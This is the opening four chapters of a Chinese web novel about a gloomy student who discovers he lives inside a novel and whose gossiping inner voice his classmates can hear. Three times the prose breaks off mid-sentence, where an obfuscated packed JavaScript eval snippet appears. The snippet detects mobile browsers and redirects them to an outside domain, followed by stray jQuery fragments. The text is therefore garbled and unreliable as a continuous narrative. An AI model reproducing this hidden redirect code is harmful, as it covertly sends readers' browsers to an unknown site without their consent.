《阴郁炮灰吃瓜后被读心》 1. 第 1 章 刺啦—— 桌脚划过地板发出刺耳的声音,引得正在用粉笔在黑板上写板书的老师震惊地回过头。 一片歪七倒八或坐或躺的学生中,站起来的黑发男生格外引人注目。 顾央阴沉着张脸,他的头发还有几缕黏在脸上,完全是一副才睡醒过来的样子。 “顾同学,你有事吗?”才毕业一年就当上班主任的年轻数学老师颤颤巍巍地扶了下眼镜,不知道发生了什么。 有几个看热闹不嫌事大的同学直接转过身来笑嘻嘻地看着他。 “没事。”顾央扯了下嘴角,拉过椅子地坐了回去,然后在众目睽睽之下,重新将脑袋枕到手臂上,就这么趴着睡了回去。 数学老师:“……” 真的就一点面子也不肯给他吗顾央同学? 但心里这么想想,他嘴上却什么也不敢说出来。 他本科读的京大,研究生在海外top级名校,不论是教育背景还是科研成就都相当漂亮,毕业后就直接来到这所学校来任教。 明德高中是私立高中,学费贵得吓人,相应的给教师的待遇也是相当的好。 周围很多人都觉得他这履历来当个高中老师太过于屈才,但只有他自己才能懂得每个月工资到账时的那份快乐。 与此相比忍受点少爷小姐们的臭脾气根本不算什么。 课堂上重新响起老师不紧不慢的讲课声。 顾央听得无比清楚,因为实际上他现在一点也不困,之所以摆出这样的姿势,是怕自己控制不住面部表情,引起不必要的怀疑。 就在刚才打瞌睡时,他的脑海中突然传出一声巨响,紧接着一本书浮现在他的眼前。 相当恶俗的封面,粉嫩的蔷薇背景中,白色头发的俊美男人怀里抱着个沉睡的美少年,他的嘴角露出一抹邪魅不羁的笑容,与下面两行粉色花体大字交相辉映。 《霸道少爷的漫漫追妻路》 什么傻逼玩意。 顾央这么想着,但还是口嫌体正直地翻开了书。 看着看着,他就发现了不对劲的地方。 这书里面的明德高中,不就是他现在读的这地方吗?而且他还看到了不止一个熟悉的人名。 这意思难道是,他所在的世界,实际上只是一本小说? 一想到这个事实,顾央反而笑了一下。 被挡住的笑声听起来有些沉闷,让坐在顾央右边的同学后背一寒,心想这祖宗又在发什么癫,然后悄无声息地把桌子往旁边挪了挪。 顾央总算有了点兴致,继续往下看,很潦草地先大致翻了一遍,一个个熟悉的名字跃然纸上,让他更加肯定这个猜想。 这本书讲的是穷苦家庭出身的主角受,以全市第一的成绩进入明德高中读书,由此展开的一系列故事。 爱赌的爹,生病的妈,上学的弟弟和破碎的他,正是对于主角受最好的概括总结。 为了招生办老师允诺的高额助学金和免学费名额,他放弃了进入重点中学的机会,转而来到这所私立贵族高中。 但因为阶级上的差距,主角受处处受人欺负和针对。 其中为首的主角攻更是将天龙人这三个字发挥到极致,所做的恶劣事件包括但不限于: 大冬天把主角受反锁在厕所隔间泼冷水,诬陷主角受手脚不干净偷人东西,甚至在高考当天派人围堵主角受导致他错过了考试,多年努力付诸一炬。 主角受在进来之前和学校签过协议,高考必须考上京大,分数排名要进全省前十,不然就需要退还在校期间所有补助金额以及学费。 在这样的压力下,得知真相的妈妈不愿再成为拖累,拔掉管子离开人生,为了偿还一屁股债务,主角受没有选择复读,而是直接出来打工供养还在上学的弟弟。 这是小说前半段的内容,后半段进入社会篇,讲的是攻受多年之后相遇,如何破镜重圆的故事。 嗯,没有火葬场,只有破镜重圆。 何等歹毒的剧情啊。 虽然自己的成绩也就那样,但对于高考的迷之执着是刻在华国每一个人DNA里面的,因此在跳翻到最后一面的Happyend结局时,顾央匪夷所思地在心里喊了一句牛逼。 最后的收尾番外交代了每一个人的剧情,顾央也在其中看到了自己的名字。 他的定位应该是一个没有多大戏份的炮灰,负责和主角攻作对,最后整个家族破产,被主角攻所收购,惨淡收场。 通常情况下,一般人看到得知自己是小说炮灰,或多或少都要惊慌一下,然后赶紧抱紧主角大腿或者采取点别的什么措施挽救自己的炮灰人生。 但顾央不是那个一般人。 如果把一键毁灭全世界的按钮放在面前,他会没有半点犹豫地按下去。 所以区区家族破产算个屁,如果真迎来那么一天,他估计还要买点鞭炮庆祝一下。 抱着这样良好的精神状态,顾央把书翻了回去。 这本书逆天的地方除了反人类三观的剧情,还有就是和泄洪一样不顾读者死活的注水方式,里面每一个稍微有点出场戏份的角色,都会拥有自己非常详细的单人剧情。 但对于本来就身处其中的顾央来说,这简直就是一本精彩的八卦合集。 【这倒是比上这逼课有意思多了。】 突然间传到全班同学耳朵里的声音让所有人身体一顿,这股拽得二五八万的丧逼气质简直是不要太过于熟悉。 顾央终于彻底疯了吗?他怎么敢在课堂上当众说这些话的啊啊啊—— 替别人尴尬的毛病又要犯了,原本听课不听课的都不约而同把目光放在了数学老师并不宽阔的背影上。 数学老师转头后看到这么一个场景,吓得手里的粉笔差点掉到了地上。 这一个两个,今天都是中邪了吗?怎么听得这么认真。 因为了解这群人的德性,数学老师表示一点都不感动,反而相当害怕,但他不敢问也不敢动,只能硬着头皮继续讲。 「我发现小枫最近越来越会装傻了。」 一个名为【远离地雷男,珍爱生活】的群聊页面弹跳出来,坐在窗边第三排的黑长直女生,一手托着下颌,一手放在桌下哒哒哒地敲着字。 有了她的开头,其他同学立马活跃起来。 「不过顾央也太嚣张了点吧,好歹是老师,真的就一点面子也不给啊。」 「抱抱柳枫老师,他看起来都要碎了嘻嘻。」 「顾央本来就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807855|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有病啊,你们难道第一天认识他吗?我看就是那种家族遗传性疾病。」 「程子时,你不要命了吗?敢诋毁顾家,小心截图出去被搞哦嘻嘻。」 「。。。」 话是这么说,但他们十一班的人,虽然十几个人的班级能创出二十个群聊,彼此之间的感情塑料又廉价,但最基本的共识还是有的。 不会把私底下的事情放到明面上来谈。 「顾央这祖宗昨晚干什么去了,都睡了一天了,刚才突然诈个尸吓我一跳,结果又睡回去了。」 「谁知道呢,也许是操~牢过头了呗。」 「哦?」 「哦??」 过于内涵的话语让其他人瞬间燃起了吃瓜之魂,发言人是匿名,但这丝毫不影响他们的兴致。 「哟哟哟,听你这意思似乎是知道什么内情,展开说说呗。」 「呵呵,顾央和那位顾先生的事情,还有人不知道的吗?」 「啊?我还以为只是传传而已,居然玩真的?这顾家也太乱了吧。」 「我去,我都当个地狱笑话听,结果他们玩真的啊…」 「什么什么,你们在说什么东西,哪个顾先生?顾央又有什么八卦?」 「乖,坐小孩那桌去玩吧,这个话题对你来说太限制级了@芋圆椰子冻」 「???有什么是我不配听的?你们居然当众孤立我!@+1」 「这位匿名,你嘴上最好积点德哦,怎么,你是他们家床头的那盏落地灯?」 应佳仪继续打字,才做好的黑蓝猫眼石美甲碰着屏幕,不断地发出哒哒的声音,然后被写板书的动静给遮盖。 「要是什么都没有,怎么可能会传出这种伤风败俗的事情,难不成空穴来风?顾家上上下下那么多双眼睛看着,人多口杂的,不就很容易传出来吗?还用得着我亲自看。」 哎呀。 应佳仪啧啧地摇头轻叹,余光看向坐在她右边的男生,侧颜冷淡专注,校服衬衫往上挽了点,清瘦的背影直挺挺的,就好像天塌下来了也不会弯折。 真有你的沈铭君。表面上一副三好学生的样子,背地里居然给别人造黄谣。 她倒是没有开天眼,但之前学校论坛里有人匿名发帖就提过这件事,因为涉及的主角实在是太引人瞩目,所以一发出来就爆了。 只是不知道为什么,这期间论坛突然抽成了实名制,爆料人的真名就这么水灵灵地卡了出来。 虽然那个造谣贴飞快就被和谐了,沈铭君本人也重新发了一条说自己号被人盗了,之前发的东西他并不知晓。 【哈。】 一声细微到几乎捕捉不到的轻笑响起,却让一众人瞬间停止了打字的动作。 因为实在是太熟悉了,这个笑声。 每当顾央这么笑的时候,总有点什么要遭殃,不是人就是东西。 总不能是心灵感应到他们在背后蛐蛐人了吧。 【沈铭君那个死人脸,在学校装什么清高,原来就是个知三当三生出来的私生子,还逼死了原配上位,真厉害啊。】 一语落下,全场震惊。 卧槽,真的假的? 此时,前排那个清冷直挺的背影,突然一下子塌了下去。 2. 第 2 章 哐当—— 在听到又一声动静后,数学老师柳枫麻木地一点点转过了头,望向窗边第二排突然站起来的高个男生,那头明显不合校规的黄毛在太阳下闪闪发光,刺痛了他的眼睛。 “余同学,你又有什么事情吗?” “啊,你在说什么啊?”黄毛男生脸上露出微妙而匪夷所思的表情,“你难道没有听见吗?柳老师?” 青天白日之下,数学老师只觉得一阵阴风从他身上卷过,此刻,底下所有抬着头的学生都直勾勾地看着他。 莫名其妙的,他打了个寒颤。 什么、什么声音? 他应该要听见什么? 坐在余白后面的应佳仪扯了下对方的衣服下摆,男生才回过神来,如梦初醒般笑了下:“算了,也不是什么大事,就当我没说,继续上您的课去吧。” 说着他自然地坐了回去,然后装也不装地捧着个手机噼里啪啦就开始打字。 数学老师深吸口气,用自己坚定的唯物主义观平复下心情,然后假装毫不在意地用手扶了下额,面上洒脱一笑。 现在的孩子真是的。 只是无人在意他掩饰尴尬的丝滑小连招,因为所有的人都不约而同低着头,就连平时里最给他面子的得意门生沈铭君,都颤抖地把手放桌底下不知道在干什么。 「卧槽,顾央又发癫了。」 「等等等等,为什么柳枫还一副什么都不知道的傻样,他是聋了吗?」 「你们注意到没有,从刚刚起,顾央就一直趴着,我就坐他前面总觉得声音不像他嘴里发出来的。」 「我本来还以为柳枫装孙子的本事日益见长,这么一看,不会是他根本听不到吧。。」 「什么意思?只有我们能听到?不会是闹鬼了吧,活了那么多年还真让我撞见了,不行我得去寺庙拜拜。」 「等等,你们居然都没个人好奇顾央说的是不是真的吗?(狗头吃瓜.jpg)」 「沈铭君竟然是私生子?笑死人了,那他平时一副还狗眼看人低的样子。」 「人家说不定还不知道自己是私生子这事情呢,哎呀呀,哪个好心人来跟他讲讲呗,别让我们沈大学霸蒙在鼓里,多可怜呀嘻嘻。」 他们现在正在热聊的这个群是当场新拉的,自然是把顾央和沈铭君排除在外畅所欲言。 【沈铭君自己也知道这件事情,当时他的身份瞒不住,还是沈家原配夫人大度主动把人接了回去,还答应给那小三一笔钱,送她去国外定居。】 【结果这根本就是引狼入室,沈铭君表面上装的跟什么都不知道的傻白甜一样,臭不要脸管人家原配叫妈妈,实际上天天在沈山那个老登面前上眼药暗示自己被冷暴力,弄得人家夫妻关系一天比一天僵。】 【最后小□□而踹掉原配上位了。】 顾央的心声不断地往外蹦,每一句话都仿佛在往沈铭君身上插刀,让他几欲吐血。 他从来没有一刻希望顾央能够闭上他的金口,不管是用什么样的方式。 不出意外的话,他即将要成为整个十一班的笑柄了,沈铭君比谁都清楚自己那些同学的德行,在学校里面上学压抑多了,逮到个乐子就能把人往死里玩。 但截止到目前都还没有到最坏的地步…… 上眼药这种事情口说无凭,反正那女人都已经死无对证了。 但如果那件事,那件事被说出来的话…… 沈铭君脸色白得跟墙灰似的,他现在恨不得直接窜到后面把顾央掀起来让人闭嘴,但他也知道,在那之前顾央会先一巴掌把他扇飞。 他根本打不过顾央,所以目前为止只能很怂又绝望地坐在位置上。 索性在说完这几句话后,始作俑者终于安静了下来。 但十一班其他的人自然没有那么快安分。 「靠,这是什么究极人渣啊。。」 「这也太恶毒了,人家原配也算是给了你口饭吃,你倒是恩将仇报,什么农夫与蛇。」 「真该死啊……」 再次补充的心声让十一班其他人对于沈铭君的审判进入更加剧烈的阶段。 「我早就看沈铭君不爽了,别看他平时一脸高冷样,心里不知道怎么鄙视我们呢,真不知道哪里来的优越感。」 「点了,他可能是觉得所有人都傻,就他最聪明,那点心思藏都藏不好,小三生的孩子果然上不得台面。」 「真要比家里条件不也就那样,高不高低不低的,搁其他人面前装装也就算了,进了这里还不老实。」 「人家可是十一班的大学霸呀嘻嘻。」 「真学霸怎么不去一中读,是不想吗?」 「高岭之花跌落神坛啦——」 「就他?他算个屁高岭之花,辱这词了,想立男神人设起码得长顾央那个标准吧。」 「顾央那叫男神,那是男神经吧。。」 「顾贵人虽然有病,但实在美丽()」 「顾央这下不仅是有病了,还直接通灵了(惊恐.jpg)」 砰—— 数学老师硬生生摁断了他手里的粉笔,然后又一次转过了头,用远超他这年纪该有的慈祥笑容问道:“你又是怎么了吗?沈同学。” 沈铭君站起来,脸色苍白难堪,他抿了下嘴:“身体不舒服,去趟医务室。” 抛下这句话,他也没管老师还没同意,直接甩门走掉了,他要出去冷静一下,不然他怕自己都要当场失态了。 因为用膝盖想都知道,这群人肯定拉了新群在蛐蛐他! 柳枫老师拿起保温杯喝了口水,咽下满喉咙的心酸,习惯性环视了圈教室后,发现除了正常请假的以外还少了个人,遂问道:“徐清风去哪里了?” “报告老师,去最近的寺庙烧香去了。”应佳仪抽空帮忙打了个报告。 “烧香啊,烧香好啊,这孩子心诚。”柳老师已读乱回。研究生期间全年无休的牛马生涯都坚守着的发际线,在入职明德高中后的短短一年时间里,就已有了非常危险的征兆。 罢了罢了,上个班而已,别太较真了。 刚好下课铃声终于响了起来,他抓起教案,拿着茶杯平静地离开了这里。 前排的椅子被人拉开,然后坐下,随即桌面上传来轻轻的敲击声。 顾央维持着刚刚的姿势,只是略微抬起点头,露出来的眼睛懒洋洋地看着前面的人。 凭心而论,他确实长了张相当好的皮囊。 他生得有些女相,眉目如同精心描绘的,冰冷而美丽的画卷,纤长的眼睫像是蝉翼,投下细密的影,而在抬眼看人时,他的眼波间充斥着种说不出来的阴郁和危险。 ……很容易引得飞蛾扑火。 毕竟这个世界绝对是一个看脸的世界,至少对于绝大部分人来说了解一个人的外表总比了解一个人的灵魂要简单的多。 好好的一张皮,里面怎么就长了这么个芯子呢,简直就是货不对板。 余白相当惋惜地想着。 他站在顾央右边,手肘撑在对方的课桌上,弯着腰去看人,而应佳仪则是占了前排那位翘课去烧香的同学位置,两手搭椅背上和顾央正对,身后一众同学的注意力都集中在了这一块区域,那架势像是要把人盯出个洞来。 但凡换个人估计马上就会发现不对劲,只可惜顾央本人就有着超绝钝感力,他抽出压在脸下的左手,从抽屉底下拿了颗糖。 “有事?”顾央的心情看起来很好,一向苍白的面色难得沾了点绯红,他还半靠不靠地倚在课桌上,仰头的角度可以看到很明显的下眼睫,嘴里嚼着糖在脸颊边上顶出点弧度。 “也没什么……”应佳仪拨了下精心打理的头发,整理完语言后抱臂微笑着问道,“就是看你趴了一天了,来慰问一下,不舒服吗?” “哪有?我好得很。”顾央随口回应道,可以看出他此时的心情确实是表里如一的好。 【还有那么多乐子可以看,有什么好不舒服的。】 那么多乐子…… 应佳仪脸上的笑容一僵,差点没有绷住。 对啊,顾央能够翻出沈铭君的八卦,那当然也可以翻出其他人的八卦。 在座所有人,虽然不一定敢说自己杀过人放过火,但谁还没点见不得人的秘密了。 不过这么看,顾央看起来好像并不知道自己心里想的东西被他们听到了? 但此刻十一班众人都默契地闭着嘴,没有一个人开口提起这件事情。 “下节什么课?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807856|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾央没再继续纠结这个问题,把摆在桌子上的数学书放进抽屉。 “好像……”余白拿手机看了眼课表,“体育课。” “哦,那为什么不去体育馆?”顾央撑着桌子站了起来,整个人都没什么精气神,“是想集体旷课吗。” 所有人都哽了一下。 也不看看是因为谁?! 虽然心里好奇到想要抓狂有一千个问题想问,但他们这里没一个有胆子敢把顾央给拦下来的,原本围堵起来的同学都默默往两边分开,非常识相地让开道。 等对方都已经走得没影了,余白才一拍脑袋:“不对啊,我们不是该跟上去吗?反正不就是换了个地方继续听吗?” 还在多脸懵逼的一众同学纷纷反应过来,赶紧跟着走了出去。 他们刚走出教室,余白就瞅到沈铭君偷感十足地贴墙站在外面,跟他大眼瞪小眼。 所有人都不约而同后退了几步,自觉孤立了沈铭君。 虽然不知道顾央说得到底是不是真的,但稍微未雨绸缪一下,总不会出错吧? 反正他们群聊里对于沈铭君的鄙视,都不是演的。 明德高中的体育馆位于学校东南角,门口前是国内高中统一规格配置的四百米操场跑道,从外面看是灰白配色的建筑,里面按照运动种类分为多个区域,橡胶地板干净得甚至可以反射出人影。 负责上课的体育老师皱眉看着集合的学生,难得来得还算准时,但不知为什么,在场居然没有一个人记得换运动服。 男生倒还好,但明德高中的秋季校服女生是过膝裙装,体育老师头疼,但又不想招惹这群少爷小姐,干脆就让他们热身后自由活动。 按照站队顺序,沈铭君和顾央被分在一组,他总算找到个单独说话的机会,咬牙切齿地低声喊了声对方的名字。 “嗯?”顾央漫不经心地应道,他们现在在做背靠背拉伸,他整个人倚在沈铭君身上,日常放空思绪。 “我只是想送你一句话,空穴来风的事情不要乱信,毕竟你又没有真的看到过,不是吗?” 在考虑该如何开启话题时沈铭君一直在纠结,因为顾央好像并不知道他能听到心声这件事情,处于想把握主动权的心思,他也并不想让顾央知道这件事。 所以开场白被他别别扭扭地反复斟酌了很久。 身上的人半天没有反应,沈铭君就更加恼火:“我跟你说话呢,听到了没?” 顾央从书中回过神来,“……你刚刚说什么?我没听清。” 【咦,沈铭君今天居然跟我说话了,他平时不是喜欢摆张死人脸吗。】 【怎么了心情那么好,是一直要舔的白富美追到手了?】 【在学校里面装的那么清高,居然看上合作公司老总的独生女。】 相当一段时间的空白停顿,顾央扫了下沈铭君的辉煌战绩,就算是见惯了奇葩,他都忍不住感叹。 【真舔啊。】 再次响起的心声让全班同学手里动作猛的一顿,有几个因为停的太猛,背上的人都听到了自己脊椎的咯拉声。 什么什么白富美? 继私生子之后,沈铭君怎么又多了个舔狗标签? 还有是怎么个舔法呢? 【他舔的人是高二那个郑颖啊,我记得郑家是开唱片公司的。】 【居然还找了狗仔监视郑颖的日常行踪,假装不经意制造偶遇,甚至记录下对方停留时间比较长的店面,以各种名义送礼物。这都不能说是舔狗了】 【变态。】 【只可惜他再怎么舔也没有用了。】 这话一出,不只是吃瓜群众,就连原本郁闷到想要呕血的沈铭君都忍不住竖起了耳朵。 此话怎讲? 【首先,郑颖不早恋,所以高中阶段是免谈的。】 【而且她的性取向是女生,本人也是清楚这一点,计划着高中读完后出国留学几年再跟家里出柜,问就是被西化了。】 【没看出来啊,之前吃饭的时候感觉挺安静的,内心居然这么野?】 这句话就如同压垮骆驼的最后一根稻草,沈铭君一想到这几个月下来自己投入进来的沉没成本,加上本来就受了太大刺激,腿一软,直接栽倒在了地上。 3. 第 3 章 看着沈铭君跌坐在地上的狼狈样子,其余同学或明显或隐晦地不停瞟过去,他们在群里聊得火热,有好事者甚至偷偷拍了张照片给没到场的人吃瓜。 平时本来就看他不顺眼的余白,在经过的时候忍不住拍了下对方的肩膀,满脸同情地冲他摇摇头。 伤害性不大,但侮辱性极强。 “你还理他干什么?”应佳仪根本控制不了上扬的嘴角,她心里都快要笑疯了。 本来还在想是不是真的,但看沈铭君这反应,简直就是不打自招。 苍天有眼,这个死装男的本性终于被曝光了。 “逗逗他而已。”余白耸耸肩,“说起来顾央去哪里了?” 他们听完这么炸裂的瓜,忙着在群里吐槽,转头才发现瓜主不知道跑哪里去了。 “阿央说他去趟卫生间。”背靠着墙站在一旁的班长笑眯眯地回答,看了眼手表又说道,“不过都这么久了,还真是让人不放心啊。” “这么大个人了能出什么事,肯定又偷偷跑回教室了。”余白抓了下头发,“不管了我也跑了,别给我听漏了什么瓜。” 说完他就急不可耐地抓上外套,跟应佳仪两个人往外走。 剩下的人没动作,但灼热的目光都粘在班长身上。 “你们都这么看我了,那就早点走呗。”班长收回投向窗外的目光,跟体育老师打了声招呼,“许老师,这节课我们班早退几分钟,您正好也可以提早结束。” 体育老师忙不迭地点头,目送这群少爷小姐轰轰荡荡离开后,终于如释重负地送了口气。 顾央本来确实只是有点困,想去去趟卫生间洗把脸而已的,但最近的那间正在维修,他懒得绕路,干脆顺着出口往教学楼的方向回去了。 入秋之后,太阳的威力被削弱了很多,他穿行在长廊中,顶上是一格又一格的木栅,蔓状的植物缠绕在上面,很细的碎光从其中落了下来,映在两侧的花盆上。 顾央蹲下来,抱着膝盖看着花盆里枯掉的花瓣发呆,过了一会后掏出手机拍照开始编辑朋友圈。 啪嗒。 有什么东西掉落到了地面上。 紧接着是明显带着恶意的哄笑声,从拐角的方向传来。 几个穿着衬衫校服的男生站在同一侧,脸上带着不怀好意的笑容,他们脚底下砸了杯咖啡,撒出来的棕色液体溅满了其中一个男生的白色球鞋。 而明显是在跟他们对峙的男生跌坐在地上,咖啡液同样弄脏了他的衣服,过长的刘海挡住了眼睛,抿起来的嘴唇看着隐忍又冷漠。 “怎么回事啊?平白走在路上还能被撞一身,别不是故意碰瓷啊?” “所以我才不喜欢特招生这种东西,一不小心就会占一身穷酸味,真是晦气。” “喂,你把我鞋弄成这样,打算怎么表示啊?我看你也赔不起,不如跪下给我认个错好了,啊?” “明明是你们撞的我。”地上的人冷淡地回应,用手支撑地面试图起来,但被对面的男生一脚狠踹在肩头上给踹了回去。 又是一阵哄笑声,看着地上那人狼狈的身形,几个男生勾肩搭背笑得不行,看着地上那人狼狈的身形。 “你要是不想舔的话也可以。”发难的男生维持着踹出去的姿势,扬了扬脚上的鞋,“但我这鞋可是新买的,看在同学情分上,就给你抹个零好了,一万块,赔钱吧,大学霸。” “怎么不说话了?你不会没钱赔,那就乖乖给我舔鞋啊。” “怎么会没钱啊,人家还喝得起五十几块的咖啡呢。” “哟,可我们的大学霸每个月不是还在领助学金。” “要不我们去举报试试看吧,都喝这么贵的咖啡了,我看也不需要什么助学金了。” “哈哈哈哈哈我看可以……” 几个人越说越起劲,而地上的那个人始终一言未发,只是抓住校服的那只手颤抖厉害,骨节都泛出白色。 “真是场难看的闹剧啊。” 这时,这行人中从一开始就抱臂站在一边不出声旁观,染了头银发的男生似笑非笑地开口。 明明不是这场冲突的主导人物,但他一发话,原本叫嚣的那几个人纷纷闭上了嘴。 “要不你求我试试看?说不定我一高兴,这事就算了。”银发男生施舍般地幽幽说道,“至于怎么求,你可以发挥一下你的想象力,宋引星。” 顾央原本倚在靠柱背后吃瓜,冷不丁听到这个名字,手一滑,身体在失去支撑后踉跄地往前面走了好几步。 刚刚好介入了两边的人中间,他抬起头,满脸无辜地和那几个男生对视。 窒息的气氛被突然闯入的不速之客搅乱,银发男生原本好整以暇的表情一下变得复杂压抑,他居高临下地看着顾央。 率先发难的那个男生跟见了鬼一样,完全没有了刚开始的气势,和旁边几个同伴面面相觑。 与此同时,离开体育馆后经过这个要命的拐角,走在最前头的余白,在看清前面究竟有谁时一个急刹车止住了脚步。 身后紧随而来的大部队纷纷撞上停下。 “聂瑛怎么会在这里?他不是旷了一天的课吗?我还以为他不在学校……” “谁知道啊?等等,他怎么和顾央撞到一起了?会不会出什么事情?” “我才刷到顾央发了条朋友圈,说什么所有事物终会死去,配了朵焉了吧唧的花,我还以为他又在哪里emo。” 就在他们小声八卦时,顾央的心声语音包加载了出来。 【站在一边的男生染了头相当张扬的白发,他的身形非常高大,眉眼深邃俊朗,棱角分明的脸型如同刀削般凌厉,嘴角恶劣的笑容让他逼人的气质平添了份邪性。】 余白震惊地听完来自顾央的描述,转头又看了一眼描述对象。 真是人活久了什么都能发生,他居然听到顾央在用正面的词语去形容聂瑛。 这两个人不是两看两相厌吗? 然而下一秒—— 【……哪个不长眼的写的,我要恶心吐了。】 余白:“……” 现在倒是正常了。 但那个银发男生的脸色却瞬间冷了下去,跟结霜了一样。 绝壁是也能听到心声。 卧槽,那可是聂瑛啊。 余白忍不住捂脸,都不敢相信接下来会发生什么样的惨剧。 聂瑛,《霸道少爷的漫漫追妻路》中的主角攻,就是那个害得主角受前途尽毁,甚至可以说是间接导致了其母亲死亡的罪魁祸首。 作为江城龙头聂氏集团掌权人的独子,不出意外的话,他在未来必然会接手这尊庞大的商业帝国。 而作为泡在滔天钱权里长大的少爷,向来奉行的只有一个原则,顺他者活,逆他者亡。 银发男生用森然的,充满审视的目光凝视着顾央,几乎要从对方身上扒下一层血肉出来,不得不说,他的外表是无可挑剔的优越,但藏在骨子里的傲慢和过甚的气势也是实打实的。 顾央还是一副恹恹的,仿佛对什么都不感兴趣的样子,睫毛阴影笼住眼底的神色,按理来说误入到这种情况下多多少少会尴尬,但他却永远带着股被切割开的迟钝感。 【这里应该就是他们两个第一次正面发生冲突的场景吧,这时候聂瑛还没有亲自上手,而是授意找小弟打人。】 后面暴力逐渐升级,主角攻施加在主角受身上的手段就愈发惨烈。 要不是刚刚听到了宋引星这个名字,他还没有反应过来。 身为话题中心的聂瑛,沉默地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807857|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着顾央在没有张口的情况下不断发出声音。 【这真的能叫霸道吗?不就是个超雄。】 “聂哥,我们这边还要继续吗?”率先挑事的男生小心翼翼地试探道。 他看着顾央突然走过来,半晌又一句话没说,反而是他聂哥的表情肉眼可见地不断难堪,于是他连忙表忠心。 【聂瑛,聂瑛。】 缱绻的,微微拖长的声音重复地念着这两个音节。 【哈,果然就是个疯子。】 小弟又颤颤巍巍地喊了声:“聂哥……” 聂瑛突然间从嘴角扯出一个笑容,他一把揽过小弟的肩膀,利用体型差距的优势,沉沉地把对方往下压:“怎么,着急成这样?是想让我做你的枪吗?” 那小弟瞬间吓白了脸,一瞬间还以为是自己想报私仇的事被发现了:“怎怎么敢,聂哥,我就是想帮您找回场子……” 见怀里的人被吓得话也说不清,聂瑛无趣地把人松开,他讨厌无能和平庸的人。 就算是玩具,也得要合他心意才行啊。 【说起来宋引星…原来就是这个人啊?】 声音再次响起,聂瑛眯了下眼睛,他的脑子正在思考。 从刚才起,他就听到顾央一直在那里逼逼,换作平时,身后跟的那几条狗早就自觉上去咬人了,怎么可能傻了吧唧的主次不分。 都聋了?就他一个人能听到。 但他稍微往旁边一看,就能发现长廊拐角的地点毫不明显地挤满了人,自己班里那帮同学此刻居然全部凑在了一堆,余白和他对上视线,瞬间开始挤眉弄眼,极尽暗示之意。 哦,他们也听得见是吧。 蠢得没眼看。 【还真是倒霉啊,宋引星,被聂瑛这个疯子缠上,这辈子算是完蛋了。】 缠上…… 这个用词让聂瑛的脸色更加阴晴不定,他是什么人,还会在一个穷鬼身上浪费时间? 顾央在他的印象里,一直都是菟丝花。 纤弱的,不依附他人就活不下去的废物。 虽然单论家世是不相上下,但影响身份的因素太多了。 “我在解决私事,识相点就给我滚,少在这里碍眼。”聂瑛轻蔑地说道。 但顾央理都没有理对方,而是走到地上那人面前,弯下腰,伸手将对方的脸挑了起来。 相当出彩的一张脸,顾央不得不承认。 他从小接触的社交圈里就没有丑人,人有钱了都会愿意找个好看点的来改善下一代基因,在加上后天真金白银砸下去的培养,衣品,气质、谈吐,都能在无形之中让人拔尖。 但面前的少年明显不在上述范围之内。 那双漆黑的眼睛如同深不见底的幽潭,是丹凤的形状,眼尾略微上挑,冷而不厉,即使眼下如此狼狈不堪,但也一眼能够看出绝非池中之物。 和他脑子里那张粉色恶俗封面中被抱着的超绝倒三角脸型黑发少年完全不一样。 这位就是本篇小说中的主角受,宋引星? 【还挺好看的,该说真不愧是主角吗?】 那个声音又响起来了,聂瑛拧紧了眉。 但很显然,这神奇的声源简直跟直接钻进他脑子里的一样,和周围声音大小无关。 【直接原图出不就行了,整得跟倒三角的蛇精脸,也不知道受众到底在哪里。】 什么主角?什么蛇精脸?顾央又在发哪门子神经? 聂瑛听得满头雾水,眉头在百思不得其解中拧得更深,极低的气压以他为中心辐射出来,吓得吃瓜的十一班同学都不自觉往后退了退。 【被毁掉了那么好的未来,这样都能在一起的话……】 【我稍微帮他一把,宋引星还不得爱我爱得死去活?】 4. 第 4 章 又是一阵长到令人窒息的沉默。 丁子雨吃不准到底是什么情况,但现在,他已经有点后悔主动挑起这场事端了。 本来想着撞上那个木头学霸主动找事,不仅仅能讨好到聂大少,而且还能报下私仇。 但没想到顾央突然横插一脚。 到底怎么回事,那祖宗不是冷漠得很,有人在他脚边跳楼了都不会多看一眼吗? 完蛋了完蛋了,聂大少和顾央出了名的不对付,他们两个倒是斗不出什么损伤,到头来倒霉的肯定是他这个小虾米。 额上的冷汗还没来得及往下掉,顾央幽幽的目光已经落到了他的身上。 “他弄脏了你的鞋?” “……嗯。”丁子雨硬着头皮应道。 “这鞋一万块?”顾央又问道。 明明是很平淡的语气,但不知道为什么,丁子雨突然感受到了一股莫名的羞辱,连头都抬不起来,他心跳得很快,咬着牙不吭声。 等不到回复,顾央掏出了手机:“付款码。” “……你,你要干什么?”丁子雨结结巴巴地问。 